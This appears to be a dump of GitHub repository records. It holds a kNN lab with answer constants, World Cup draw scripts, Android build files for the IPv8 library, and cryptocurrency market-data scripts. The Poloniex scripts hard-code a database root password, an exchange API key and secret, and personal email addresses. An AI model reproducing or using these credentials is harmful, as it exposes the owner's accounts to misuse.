Returns a tuple (k, distance_metric),\n where k is an int and distance_metric is a function.\"\"\"\n highest_params= (- INF,None,None)\n distance_metrics = [euclidean_distance,manhattan_distance,hamming_distance,cosine_distance]\n\n for distance_metric in distance_metrics:\n for k in range(1,len(data)):\n current_params = (cross_validate(data,k,distance_metric),k,distance_metric)\n if current_params[0] > highest_params[0]:\n highest_params = current_params\n return (highest_params[1],highest_params[2])\n \n\n## To find the best k and distance metric for 2014 Q2, part B, uncomment:\nprint find_best_k_and_metric(knn_tree_data)\n\n\n#### MORE MULTIPLE CHOICE\n\nkNN_ANSWER_1 = \"Overfitting\"\nkNN_ANSWER_2 = \"Underfitting\"\nkNN_ANSWER_3 = 4\n\nkNN_ANSWER_4 = 4\nkNN_ANSWER_5 = 1\nkNN_ANSWER_6 = 3\nkNN_ANSWER_7 = 3\n\n#### SURVEY ###################################################\n\nNAME = None\nCOLLABORATORS = None\nHOW_MANY_HOURS_THIS_LAB_TOOK = None\nWHAT_I_FOUND_INTERESTING = None\nWHAT_I_FOUND_BORING = None\nSUGGESTIONS = None\n" } ]
2
digo-silva/copa
https://github.com/digo-silva/copa
a734310b3103e3dc68620bc62212f84789c18b85
904e7b5b6c667e757768045058a114aed46f6bbf
fab688d708c21b7dd194a246ac9c37d09e0b6233
refs/heads/master
2020-03-31T01:36:38.274149
2018-11-09T23:26:13
2018-11-09T23:26:13
151,787,975
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6482758522033691, "alphanum_fraction": 0.728735625743866, "avg_line_length": 21.947368621826172, "blob_id": "4fd1f9e511d7d1faa5d7b8688678f02473c32f08", "content_id": "8dca7bc6e68cc4baf2665492d12fdfd49f9361a3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 435, "license_type": "no_license", "max_line_length": 57, "num_lines": 19, "path": "/atributos.py", "repo_name": "digo-silva/copa", "src_encoding": "UTF-8", "text": "# Atributos\nfrom random import randint\nimport sys\nimport time\n\n\n\natributosTimes_1 = [randint(40, 50) for i in range(0, 8)]\natributosTimes_2 = [randint(30, 50) for i in range(0, 8)]\natributosTimes_3 = [randint(20, 50) for i in range(0, 8)]\natributosTimes_4 = [randint(10, 50) for i in range(0, 8)]\n\nprint(atributosTimes_1)\ntime.sleep(5)\nprint(atributosTimes_2)\ntime.sleep(5)\nprint(atributosTimes_3)\ntime.sleep(5)\nprint(atributosTimes_4)" }, { "alpha_fraction": 0.619448721408844, "alphanum_fraction": 0.6577335596084595, "avg_line_length": 38.60606002807617, "blob_id": "4858334f82f7124075ae875ae041877aaf1c0308", "content_id": "4928bc0971075fe0d81ddf0b5a3358f4b6b65e66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1306, "license_type": "no_license", "max_line_length": 102, "num_lines": 33, "path": "/sorteio.py", "repo_name": "digo-silva/copa", "src_encoding": "UTF-8", "text": "# Sorteio dos grupos da copa\nfrom random import randint\nimport sys\nimport time\n\ncabecas_1 = [\"FRANCA\", \"BELGICA\", \"BRASIL\", \"CROACIA\", \"URUGUAI\", \"INGLATERRA\", \"PORTUGAL\", \"SUICA\"]\n\ncabecas_2 = [\"ESPANHA\", \"DINAMARCA\", \"ARGENTINA\", \"CHILE\", \"SUECIA\", \"COLOMBIA\", \"ALEMANHA\", \"MEXICO\"]\n\ncabecas_3 = [\"HOLANDA\", \"POLONIA\", \"GALES\", \"ITALIA\", \"EUA\", \"TUNISIA\", \"AUSTRIA\", \"SENEGAL\"]\n\ncabecas_4 = [\"SLOVAKIA\", \"ROMENIA\", \"IRLANDA\", \"UKRANIA\", \"PARAGUAI\", \"VENEZUELA\", \"IRA\", \"BOSNIA\"]\n\ngrupos = []\nfor i in range(0, 8):\n print(i)\n grupos.append([])\n selecionado_grupo_1 = randint(0, 7 - i)\n selecionado_grupo_2 = randint(0, 7 - i)\n selecionado_grupo_3 = randint(0, 7 - i)\n selecionado_grupo_4 = randint(0, 7 - i)\n\n grupos[i].append(cabecas_1[selecionado_grupo_1])\n grupos[i].append(cabecas_2[selecionado_grupo_2])\n grupos[i].append(cabecas_3[selecionado_grupo_3])\n grupos[i].append(cabecas_4[selecionado_grupo_4])\n\n cabecas_1 = cabecas_1[:selecionado_grupo_1] + cabecas_1[selecionado_grupo_1 + 1:]\n cabecas_2 = cabecas_2[:selecionado_grupo_2] + cabecas_2[selecionado_grupo_2 + 1:]\n cabecas_3 = cabecas_3[:selecionado_grupo_3] + cabecas_3[selecionado_grupo_3 + 1:]\n cabecas_4 = cabecas_4[:selecionado_grupo_4] + cabecas_4[selecionado_grupo_4 + 1:]\n\n print(grupos[i])" }, { "alpha_fraction": 0.49402984976768494, "alphanum_fraction": 0.5233830809593201, "avg_line_length": 42.71739196777344, "blob_id": "086f32b062d6e4f439a582a76dbb7f4bbfb87e6e", "content_id": "53257638cf7294137bd0e0cce346e4e8ac2b1f26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2010, "license_type": "no_license", "max_line_length": 103, "num_lines": 46, "path": "/main.py", "repo_name": "digo-silva/copa", "src_encoding": "UTF-8", "text": "################################################\n############### SORTEIO GRUPOS #################\n################################################\n# Sorteio dos grupos da copa\nfrom random import randint\nimport sys\nimport time\nimport string\n\ncabecas_1 = [\"PALMEIRAS\", \"BELGICA\", \"BRASIL\", \"CROACIA\", \"URUGUAI\", \"INGLATERRA\", \"PORTUGAL\", \"SUICA\"]\ncabecas_2 = [\"ESPANHA\", \"DINAMARCA\", \"ARGENTINA\", \"CHILE\", \"SUECIA\", \"COLOMBIA\", \"ALEMANHA\", \"MEXICO\"]\ncabecas_3 = [\"HOLANDA\", \"POLONIA\", \"GALES\", \"ITALIA\", \"EUA\", \"TUNISIA\", \"AUSTRIA\", \"SENEGAL\"]\ncabecas_4 = [\"SLOVAKIA\", \"ROMENIA\", \"IRLANDA\", \"UKRANIA\", \"PARAGUAI\", \"VENEZUELA\", \"IRA\", \"BOSNIA\"]\ngrupos = []\nabc=[]\nprint(\" COPA DO MUNDO 2018 \")\n#for i in range(ord('a'), ord('h')+1):\nfor i in range(0, 7):\n # print(i)\n #grupos.append(chr(i)[])\n grupos.append([])\n #selecionado_grupo_1 = randint(a, h - i)\n selecionado_grupo_1 = randint(0, 7 - i)\n selecionado_grupo_2 = randint(0, 7 - i)\n selecionado_grupo_3 = randint(0, 7 - i)\n selecionado_grupo_4 = randint(0, 7 - i)\n grupos[i].append(cabecas_1[selecionado_grupo_1])\n grupos[i].append(cabecas_2[selecionado_grupo_2])\n grupos[i].append(cabecas_3[selecionado_grupo_3])\n grupos[i].append(cabecas_4[selecionado_grupo_4])\n cabecas_1 = cabecas_1[:selecionado_grupo_1] + cabecas_1[selecionado_grupo_1 + 1:]\n cabecas_2 = cabecas_2[:selecionado_grupo_2] + cabecas_2[selecionado_grupo_2 + 1:]\n cabecas_3 = cabecas_3[:selecionado_grupo_3] + cabecas_3[selecionado_grupo_3 + 1:]\n cabecas_4 = cabecas_4[:selecionado_grupo_4] + cabecas_4[selecionado_grupo_4 + 1:]\n ##############################################\n ############### MOSTRAR GRUPOS ###############\n ##############################################\n time.sleep(2)\n #grupoA = grupos[1]\n #print(grupoA)\n #print len(grupos[i])\n print(\"GRUPO\", (i + 1), grupos[i])\n\n###########################################\n############### FASE GRUPOS ###############\n###########################################" } ]
3
devos50/ipv8-android-service
https://github.com/devos50/ipv8-android-service
079adc263d43bde1ff9d054c4cec265898fa56e4
069c79558992e5adb72f30766a19c9751bb34ae9
fbc674fc62056cca4e619876e697046e7968e272
refs/heads/master
2022-01-06T08:43:50.206732
2017-12-07T09:29:25
2017-12-07T09:34:57
113,430,831
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.7773584723472595, "alphanum_fraction": 0.7905660271644592, "avg_line_length": 175.6666717529297, "blob_id": "fbdc4f85ee8a8a84f468bc7a961e553abd82f9ac", "content_id": "715f1464eba79a16d414891c6725732b4c67c6e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 530, "license_type": "no_license", "max_line_length": 345, "num_lines": 3, "path": "/README.md", "repo_name": "devos50/ipv8-android-service", "src_encoding": "UTF-8", "text": "This repository contains the necessary files to run the [IPv8](https://github.com/qstokkink/py-ipv8) library on Android. It uses the [Python-for-Android](https://github.com/kivy/python-for-android) framework to build a distribution that can be run on armeabi devices. Building has been tested on Debian 8, using target Android API 18 and NDK 13.\n\nTo build, make sure that you have installed Python-for-Android. Next, execute `build.sh` to start the compilation process. This should take a few minutes and build your distribution.\n" }, { "alpha_fraction": 0.6200000047683716, "alphanum_fraction": 0.6449999809265137, "avg_line_length": 12.333333015441895, "blob_id": "844cd2a7eb225f7fef9be10dcc0e9f1aff2f8464", "content_id": "e8b9a08bb6c6567c25e675753a5fe749fb27f741", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 200, "license_type": "no_license", "max_line_length": 32, "num_lines": 15, "path": "/build_dist.sh", "repo_name": "devos50/ipv8-android-service", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nset -e\n\necho Build dist\n\ncd dist/IPV8Service\n\npython build.py \\\n--package=org.ipv8.android \\\n--service=Ipv8:Ipv8.py \\\n--private=../../service \\\n--whitelist=../../.p4a-whitelist\n\ncd ../..\n" }, { "alpha_fraction": 0.597520649433136, "alphanum_fraction": 0.6148760318756104, "avg_line_length": 31.70270347595215, "blob_id": "9840b994e78ecc09b9a1854b7d4512dc612378a6", "content_id": "c9a331979b0e27b1dd28c255c756c0461675bb97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1210, "license_type": "no_license", "max_line_length": 83, "num_lines": 37, "path": "/recipes/ipv8/__init__.py", "repo_name": "devos50/ipv8-android-service", "src_encoding": "UTF-8", "text": "from os import getenv\nfrom os.path import join, exists\nfrom sh import mkdir, cp\nfrom pythonforandroid.toolchain import PythonRecipe, current_directory\n\n\nclass LocalIPV8Recipe(PythonRecipe):\n \"\"\"\n Python-for-Android IPV8 recipe\n \"\"\"\n\n url = 'git+https://github.com/devos50/py-ipv8.git'\n\n #depends = ['apsw', 'cryptography', 'libsodium', 'm2crypto',\n # 'netifaces', 'openssl', 'pil', 'pycrypto', 'python2',\n # 'setuptools', 'twisted', 'pbkdf2', 'gmpy2', 'libnacl', 'schwifty',\n # 'pyopenssl', 'networkx', 'lib2to3'\n # ]\n\n depends = ['apsw', 'cryptography', 'libsodium', 'netifaces',\n 'python2', 'setuptools', 'twisted', 'networkx', 'lib2to3', 'libnacl'\n ]\n\n python_depends = ['sqlite3', 'decorator', 'libnacl', 'pyasn1', 'six']\n\n site_packages_name = 'ipv8'\n\n call_hostpython_via_targetpython = False\n\n def postbuild_arch(self, arch):\n super(LocalIPV8Recipe, self).postbuild_arch(arch)\n\n # Install twistd plugins\n cp('-rf', join(self.get_build_dir(arch.arch), 'twisted'),\n join(self.ctx.get_python_install_dir(), 'lib/python2.7/site-packages'))\n\nrecipe = LocalIPV8Recipe()\n" }, { "alpha_fraction": 0.7234637141227722, "alphanum_fraction": 0.7346368432044983, "avg_line_length": 34.79999923706055, "blob_id": "f4accb2623c31897ec1c907e34d3b0ccdfdf0bde", "content_id": "c954563ff92f89b1a6028225775a404638c6f02a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 358, "license_type": "no_license", "max_line_length": 82, "num_lines": 10, "path": "/recipes/networkx/__init__.py", "repo_name": "devos50/ipv8-android-service", "src_encoding": "UTF-8", "text": "from pythonforandroid.toolchain import PythonRecipe\n\nclass NetworkxRecipe(PythonRecipe):\n version = '1.11'\n url = 'https://github.com/networkx/networkx/archive/networkx-{version}.tar.gz'\n depends = ['hostpython2', 'setuptools', 'decorator']\n site_packages_name = 'networkx'\n call_hostpython_via_targetpython = False\n\nrecipe = NetworkxRecipe()\n" }, { "alpha_fraction": 0.7137305736541748, "alphanum_fraction": 0.7305699586868286, "avg_line_length": 19.3157901763916, "blob_id": "058e702df0792206a984f7cb4ba113d1049b5e6f", "content_id": "4f6dd5684f750f6ed89e124349aedad90a62c48a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 772, "license_type": "no_license", "max_line_length": 58, "num_lines": 38, "path": "/install_dist.sh", "repo_name": "devos50/ipv8-android-service", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nset -e\n\necho Install dist\n\ncd dist/IPV8Service\n\nmv -f libs jniLibs\nmv -f python-install/include jni/include\nmv -f python-install/lib jni/lib\n\nrm -rf python-install\nrm -rf collated_objects\nrm -rf private\nrm -rf python-install\nrm -rf templates\nrm -rf build\nrm -rf jni/*.mk\nrm -rf jni/src/*.mk\nrm -f blacklist.txt\nrm -f whitelist.txt\nrm -f build.py\nrm -f dist_info.json\nrm -f project.properties\n\ncd ../..\n\nrm -rf dist/IPV8App-import\nmv -f dist/IPV8Service dist/IPV8App-import\n\nrm -rf ../IPV8App/app/src/main/assets\nrm -rf ../IPV8App/app/src/main/jni\nrm -rf ../IPV8App/app/src/main/jniLibs\n\ncp -rf dist/IPV8App-import/assets ../IPV8App/app/src/main\ncp -rf dist/IPV8App-import/jni ../IPV8App/app/src/main\ncp -rf dist/IPV8App-import/jniLibs ../IPV8App/app/src/main\n" } ]
5
oporanski/ampergold
https://github.com/oporanski/ampergold
bc57ba1efda2c7992243ff9985489f977ec70a38
273f3e7107b1b246044f605256d57607b1c0c3e3
b7d71f3574474bbc106784bfd9841585884995d6
refs/heads/master
2021-01-23T10:47:48.428429
2019-11-21T09:46:53
2019-11-21T09:46:53
93,096,888
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7575757503509521, "alphanum_fraction": 0.7575757503509521, "avg_line_length": 9.666666984558105, "blob_id": "fa9764f922b697faedd67096cb0bc01b8e0757c3", "content_id": "565231b555392e7f9ebbb64bcb1d100a14600d20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 33, "license_type": "no_license", "max_line_length": 18, "num_lines": 3, "path": "/README.md", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "# ampergold\n\nDirty python tests \n" }, { "alpha_fraction": 0.6125797629356384, "alphanum_fraction": 0.664539635181427, "avg_line_length": 29.054794311523438, "blob_id": "9b9e6fda3e9cef946674f579faf0ed008ae6ee7f", "content_id": "523ea3f07be1e2c041ddd95801681cbb1590b97b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2194, "license_type": "no_license", "max_line_length": 137, "num_lines": 73, "path": "/poloniex_get_api_data.py_old", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport MySQLdb\n#import json\nfrom datetime import datetime\nfrom poloniex import Poloniex, Coach\n\n#######GLOBALS##########\nDEBUG = True\n\n#######FUNCTIONS##########\ndef write_ticker_data_to_db(table, insert):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n x = conn.cursor()\n sql = \"INSERT INTO \" + table + \" (`Last`, `LowestAsk`, `HighestBid`, `PercentChange`, `BaseVolume`, \" + \\\n\t\"`QuoteVolume`, `IsFrozen`, `24hrHigh`, `24hrLow`) VALUES (\" + ','.join(insert) + \")\"\n #print(sql)\n try:\n\tx.execute(sql)\n\tconn.commit()\n except:\n\tconn.rollback()\n conn.close()\n\n\n#######HELPERS##########\ndef get_date_time(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\nlog(\"**********************************************************\")\npolo = Coach()\n\npublic = Poloniex(coach=polo)\nprivate = Poloniex(\"NQVE5PYF-CPG3TGTY-E21OLYUG-9YT229HG\", \\\n\t\t \"0cda3c2e4ca65a1a5ca9969e887d10d3605ab5f9544ce308145d47d701e49dfb616fa7a67e6b98bc1f30ef83b45e8978f5e2ba13d213002d8e067fded940cd38\", \\\n\t\t coach=polo)\n#BTC_PASC\ndata = public.returnTicker()['BTC_PASC']\nlast = data[\"last\"]\nlowest_ask = data[\"lowestAsk\"]\nhighest_bid = data[\"highestBid\"]\npercentchange = data[\"percentChange\"]\nbase_volume = data[\"baseVolume\"]\nquote_volume = data[\"quoteVolume\"]\nis_frozen = data[\"isFrozen\"]\nhigh24hr = data[\"high24hr\"]\nlow24hr = data[\"low24hr\"]\n\ninsert = last, lowest_ask, highest_bid, percentchange, base_volume, quote_volume, is_frozen, high24hr, low24hr\nlog(\"BTC_PASC: \" + ','.join(insert))\nwrite_ticker_data_to_db(\"BTC_PASC\", insert)\n\n#USDT_BTC\ndata = public.returnTicker()['USDT_BTC']\nlast = data[\"last\"]\nlowest_ask = data[\"lowestAsk\"]\nhighest_bid = data[\"highestBid\"]\npercentchange = data[\"percentChange\"]\nbase_volume = data[\"baseVolume\"]\nquote_volume = data[\"quoteVolume\"]\nis_frozen = data[\"isFrozen\"]\nhigh24hr = data[\"high24hr\"]\nlow24hr = data[\"low24hr\"]\n\ninsert = last, lowest_ask, highest_bid, percentchange, base_volume, quote_volume, is_frozen, high24hr, low24hr\nlog(\"USDT_BTC: \" + ','.join(insert))\nwrite_ticker_data_to_db(\"USDT_BTC\", insert)\n" }, { "alpha_fraction": 0.5652781128883362, "alphanum_fraction": 0.5788922309875488, "avg_line_length": 37.02655029296875, "blob_id": "eaf208e81ca7c6052e214419576d782ce094f966", "content_id": "8ae29143a67e125f49a4e8b99d54a77561d39ab5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8594, "license_type": "no_license", "max_line_length": 148, "num_lines": 226, "path": "/avg_users_24h_poloniex.py", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\nimport requests\nimport MySQLdb\nimport smtplib\nimport operator\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom datetime import datetime\n\n#######GLOBALS########################################################################\nFROM = \"[email protected]\"\nTO = [\"[email protected]\", \"[email protected]\"]\n#TO = [\"[email protected]\"]\nSUBJECT = \"Average number of users Poloniex\"\nSERVER = \"localhost\"\nDEBUG = True\n\n######################################################################################\n\n#######FUNCTIONS##########\ndef get_market(sqlq):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n #log(sqlq)\n x = conn.cursor()\n try:\n\tx.execute(sqlq)\n\trows = x.fetchall()\n except:\n\tconn.rollback()\n #log(\"Number of records: \" + str(len(rows)))\n ret = []\n for row in rows:\n\tret = row\n conn.close()\n return ret\n\n\ndef get_average_users(sqlq):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n #log(sqlq)\n x = conn.cursor()\n try:\n\tx.execute(sqlq)\n\trows = x.fetchall()\n except:\n\tconn.rollback()\n #log(\"Number of records: \" + str(len(rows)))\n avg_users = 0\n for row in rows:\n\t#log(\"Value:\" + row[0])\n\tavg_users += int(row[0])\n avg_users = avg_users/len(rows)\n #log (\"AVG:\" + str(avg_users))\n conn.close()\n return avg_users\n\n#def get_average_last_hour(sqlq):\n# conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n# #log(sqlq)\n# x = conn.cursor()\n# try:\n#\tx.execute(sqlq)\n#\trows = x.fetchall()\n# except:\n#\tconn.rollback()\n# #log(\"Number of records: \" + str(len(rows)))\n# avg_users = 0\n# for row in rows:\n#\t#log(\"Value:\" + row[0])\n#\tavg_users += int(row[0])\n# avg_users = avg_users/len(rows)\n# #log (\"AVG:\" + str(avg_users))\n# conn.close()\n# return avg_users\n\n\n#######HELPERS##########\ndef sendMail(FROM,TO,SUBJECT,HTML,SERVER):\n \"\"\"Function sending email Input: FROM,TO,SUBJECT,TEXT,HTML,SERVER\"\"\"\n #write_date_of_last_notyfication(notyfiType)\n COMMASPACE = ', '\n msg = MIMEMultipart('alternative')\n msg['Subject'] = SUBJECT\n msg['From'] = FROM\n msg['To'] = COMMASPACE.join(TO)\n part1 = MIMEText(HTML, 'html')\n msg.attach(part1)\n # Send the email via our own SMTP server.\n s = smtplib.SMTP(SERVER)\n s.sendmail(FROM, TO, msg.as_string())\n s.quit()\n\ndef getDateTimeFromISO8601String(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print datetime.now(), s\n\n#######MAIN##########\nlog(\"**********************************************************\")\n#get number of users avarage last hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 1 HOUR\"\navg_hour_users = get_average_users(sql_query)\n#log('Average last hour: '+ str(avg_hour_users))\n\n#get number of users avarage last 24 hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 1 DAY\"\navg_day_users = get_average_users(sql_query)\n#log('Average last 24 hour: '+ str(avg_day_users))\n\n#get number of users avarage 2 days ago hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 2 DAY AND `Time_Stamp` <= NOW() - INTERVAL 1 DAY\"\navg_2day_users = get_average_users(sql_query)\n#log('Average 2 days ago: '+ str(avg_day_users))\n\n#get number of users avarage last week \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 1 WEEK\"\navg_week_users = get_average_users(sql_query)\n#log('Average last week: '+ str(avg_day_users))\n\n#get number of users avarage 2 weeks ago hour \nsql_query = \"SELECT `Number_Of_Users` FROM `Users_Online` WHERE `Time_Stamp` >= NOW() - INTERVAL 2 WEEK AND `Time_Stamp` <= NOW() - INTERVAL 1 WEEK\"\navg_2week_users = get_average_users(sql_query)\n#log('Average 2 weeks ago: '+ str(avg_day_users))\n\n#count average Houerly and Daily\nh_c = float(avg_hour_users)/float(avg_day_users)*100\nd_c = float(avg_day_users)/float(avg_2day_users)*100\nw_c = float(avg_week_users)/float(avg_2week_users)*100\n\n#convert to strings for mail \nahu = str(\"%.0f\" % round(avg_hour_users,0))\nadu = str(\"%.0f\" % round(avg_day_users,0))\na2du = str(\"%.0f\" % round(avg_2day_users,0))\nh_cs = str(\"%.2f\" % round(h_c,2))\nd_cs = str(\"%.2f\" % round(d_c,2))\nw_cs = str(\"%.2f\" % round(w_c,2))\nlog(\"Houerly[%]: \" + h_cs)\nlog(\"Daily[%]: \" + d_cs)\nlog(\"Weekly[%]: \" + w_cs)\n\n\n#Create the body of the message (a plain-text and an HTML version).\nHTML = \"<html><head><style>table {border-collapse: collapse;} table, th, td {border: 1px solid black;}</style></head><body>\" + \\\n \"<p>Changes in number of users on Poloniex:<br><ul>\" + \\\n \"<li>Houerly[%]: \" + h_cs + \"</li><li> Daily[%]: \" + d_cs + \\\n \"</li><li> Weekly[%]: \" + w_cs + \"</li></ul></p>\"\n\n###############################################################\n#TOP RISE and DROPS\nmarkets = [\"USDT_REP\", \"BTC_XVC\", \"BTC_PINK\", \"BTC_SYS\", \"BTC_EMC2\", \"BTC_RADS\", \"BTC_SC\", \"BTC_MAID\", \\\n \"BTC_GNT\", \"BTC_BCN\", \"BTC_REP\", \"BTC_BCY\", \"BTC_GNO\", \"XMR_NXT\", \"USDT_ZEC\", \"BTC_FCT\", \"USDT_ETH\", \\\n \"USDT_BTC\", \"BTC_LBC\", \"BTC_DCR\", \"USDT_ETC\", \"BTC_AMP\", \"BTC_XPM\", \"BTC_NXT\", \"BTC_VTC\", \"ETH_STEEM\", \\\n \"XMR_BLK\", \"BTC_PASC\", \"XMR_ZEC\", \"BTC_GRC\", \"BTC_NXC\", \"BTC_BTCD\", \"BTC_LTC\", \"BTC_DASH\", \"BTC_NAUT\", \\\n \"ETH_ZEC\", \"BTC_ZEC\", \"BTC_BURST\", \"BTC_BELA\", \"BTC_STEEM\", \"BTC_ETC\", \"BTC_ETH\", \"BTC_HUC\", \"BTC_STRAT\", \\\n \"BTC_LSK\", \"BTC_EXP\", \"BTC_CLAM\", \"ETH_REP\", \"XMR_DASH\", \"USDT_DASH\", \"BTC_BLK\", \"BTC_XRP\", \"USDT_NXT\", \\\n \"BTC_NEOS\", \"BTC_BTS\", \"BTC_DOGE\", \"ETH_GNT\", \"BTC_SBD\", \"ETH_GNO\", \"BTC_XCP\", \"USDT_LTC\", \"BTC_BTM\", \\\n \"USDT_XMR\", \"ETH_LSK\", \"BTC_OMNI\", \"BTC_NAV\", \"BTC_FLDC\", \"BTC_XBC\", \"BTC_DGB\", \"BTC_NOTE\", \"XMR_BTCD\", \\\n \"BTC_VRC\", \"BTC_RIC\", \"XMR_MAID\", \"BTC_STR\", \"BTC_POT\", \"BTC_XMR\", \"BTC_SJCX\", \"BTC_VIA\", \"BTC_XEM\", \\\n \"BTC_NMC\", \"ETH_ETC\", \"XMR_LTC\", \"BTC_ARDR\", \"BTC_FLO\", \"USDT_XRP\", \"BTC_GAME\", \"BTC_PPC\", \"XMR_BCN\", \"USDT_STR\"]\n\nres = {}\nfor market in markets: \n sql_query = \"SELECT Last, BaseVolume, QuoteVolume FROM \" + market + \" ORDER BY id DESC LIMIT 1\"\n data_now = get_market(sql_query)\n sql_query = \"SELECT Last, BaseVolume, QuoteVolume FROM \" + market + \" WHERE TimeStamp >= NOW() - INTERVAL 1 DAY ORDER BY id ASC LIMIT 1\"\n data_24h = get_market(sql_query)\n #print(market)\n #print(data_now)\n #print(data_24h)\n #if any 0 value then skip othervise we will get division by 0\n if(0 in data_now):\n continue\n delta_price = (data_now[0] - data_24h[0])/data_now[0]*100\n delta_base_volume = (data_now[1] - data_24h[1])/data_now[1]*100\n delta_quote_volume = (data_now[2] - data_24h[2])/data_now[0]*100\n #res[market] = [delta_price, delta_base_volume, delta_quote_volume]\n res[market] = delta_price\n\ntops = dict(sorted(res.iteritems(), key=operator.itemgetter(1), reverse=True)[:5])\ndrops = dict(sorted(res.iteritems(), key=operator.itemgetter(1), reverse=False)[:5])\n\nHTML += \"<p>Poloniex TOP 5 Markets:<br><ul>\"\n#for m in sorted(tops, key=tops.get, reverse=True):\n# print m + \": \" + str(tops[m])\n\nfor m in sorted(tops, key=tops.get, reverse=True):\n HTML += \"<li>\" + m + \": \" + '{0:.2f}'.format(tops[m]) + \"</li>\"\n\nHTML += \"</ul></p><p>Poloniex TOP 5 Drops:<br><ul>\"\n\nfor m in sorted(drops, key=drops.get, reverse=True):\n HTML += \"<li>\" + m + \": \" + '{0:.2f}'.format(drops[m]) + \"</li>\"\n\nHTML +=\"</ul></p>\"\n#log('Delta last 24 hour '+ market + \": \"+ str(delta_price))\n#print(tops)\n#print(drops)\n\n###############################################################\n#MARKETS\nHTML += \"\"\"<p>Poloniex Markets:<br>\n <table border=\"1\" cellpadding=\"4\"><tr>\n <td>Market</td>\n <td>Last Price</td>\n <td>Percent Change</td>\n <td>Base Volume</td>\n <td>Quote Volume</td>\"\"\"\n\nmarkets = [\"USDT_BTC\", \"BTC_PASC\", \"BTC_XMR\", \"BTC_ETH\", \"BTC_ETC\", \"BTC_VTC\", \"BTC_LTC\", \"BTC_DASH\"]\nfor market in markets: \n sql_query = \"SELECT Last, PercentChange, BaseVolume, QuoteVolume FROM \" + market + \" ORDER BY id DESC LIMIT 1\"\n res = get_market(sql_query)\n HTML += \"<tr><td>\" + market + \"</td><td>\" + '{0:.6f}'.format(res[0]) + \"</td><td>\" + '{0:.2f}'.format(res[1]) \\\n + \"</td><td>\" + '{0:.2f}'.format(res[2]) + \"</td><td>\" + '{0:.2f}'.format(res[3]) + \"</td></tr>\"\n\nHTML += \"</table>\"\nHTML += \"</p></body></html>\"\n\n#log(HTML)\nsendMail(FROM,TO,SUBJECT,HTML,SERVER)\nlog(\"Email Sent To: \" + \", \".join(TO))\n" }, { "alpha_fraction": 0.5750142335891724, "alphanum_fraction": 0.5875641703605652, "avg_line_length": 27.25806427001953, "blob_id": "19c7382fbdaf3f3e4e3d3483fe258a70543f5725", "content_id": "70c9eafe9ce943d1c170458406cb93e951721099", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1753, "license_type": "no_license", "max_line_length": 115, "num_lines": 62, "path": "/tests/coinmarketcap_get_api_data.py", "repo_name": "oporanski/ampergold", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport datetime\n#import MySQLdb\nimport json\nimport urllib2\nfrom datetime import datetime\n\n#######GLOBALS##########\nDEBUG = True\n\n#######FUNCTIONS##########\ndef write_ticker_data_to_db(table, insert):\n conn = MySQLdb.connect(host=\"localhost\",user=\"root\",passwd=\"PKjsizw02k\",db=\"poloniex\")\n x = conn.cursor()\n sql = \"INSERT INTO \" + table + \" (`Last`, `LowestAsk`, `HighestBid`, `PercentChange`, `BaseVolume`, \" + \\\n \"`QuoteVolume`, `IsFrozen`, `24hrHigh`, `24hrLow`) VALUES (\" + ','.join(insert) + \")\"\n #print(sql)\n try:\n \tx.execute(sql)\n \tconn.commit()\n except:\n \tconn.rollback()\n conn.close()\n\n\n#######HELPERS##########\ndef get_date_time(s):\n d = dateutil.parser.parse(s)\n return d\n\ndef log(s):\n if DEBUG:\n print (str(datetime.now()) + \" - \" + s)\n\n#######MAIN##########\nlog(\"**********************************************************\")\n\nurl = \"https://api.coinmarketcap.com/v1/ticker/\"\ndata = json.load(urllib2.urlopen(url))\n#data.sort(key=market_cap_usd, reverse=True)\n#print(len(data))\n\nprint(str(data[0][\"id\"]))\nfor i in range(0,len(data)):\n print(\"coin:\" + str(data[i][\"id\"]))\n\nprint(data[0])\n\n#for market in markets: \n# data = 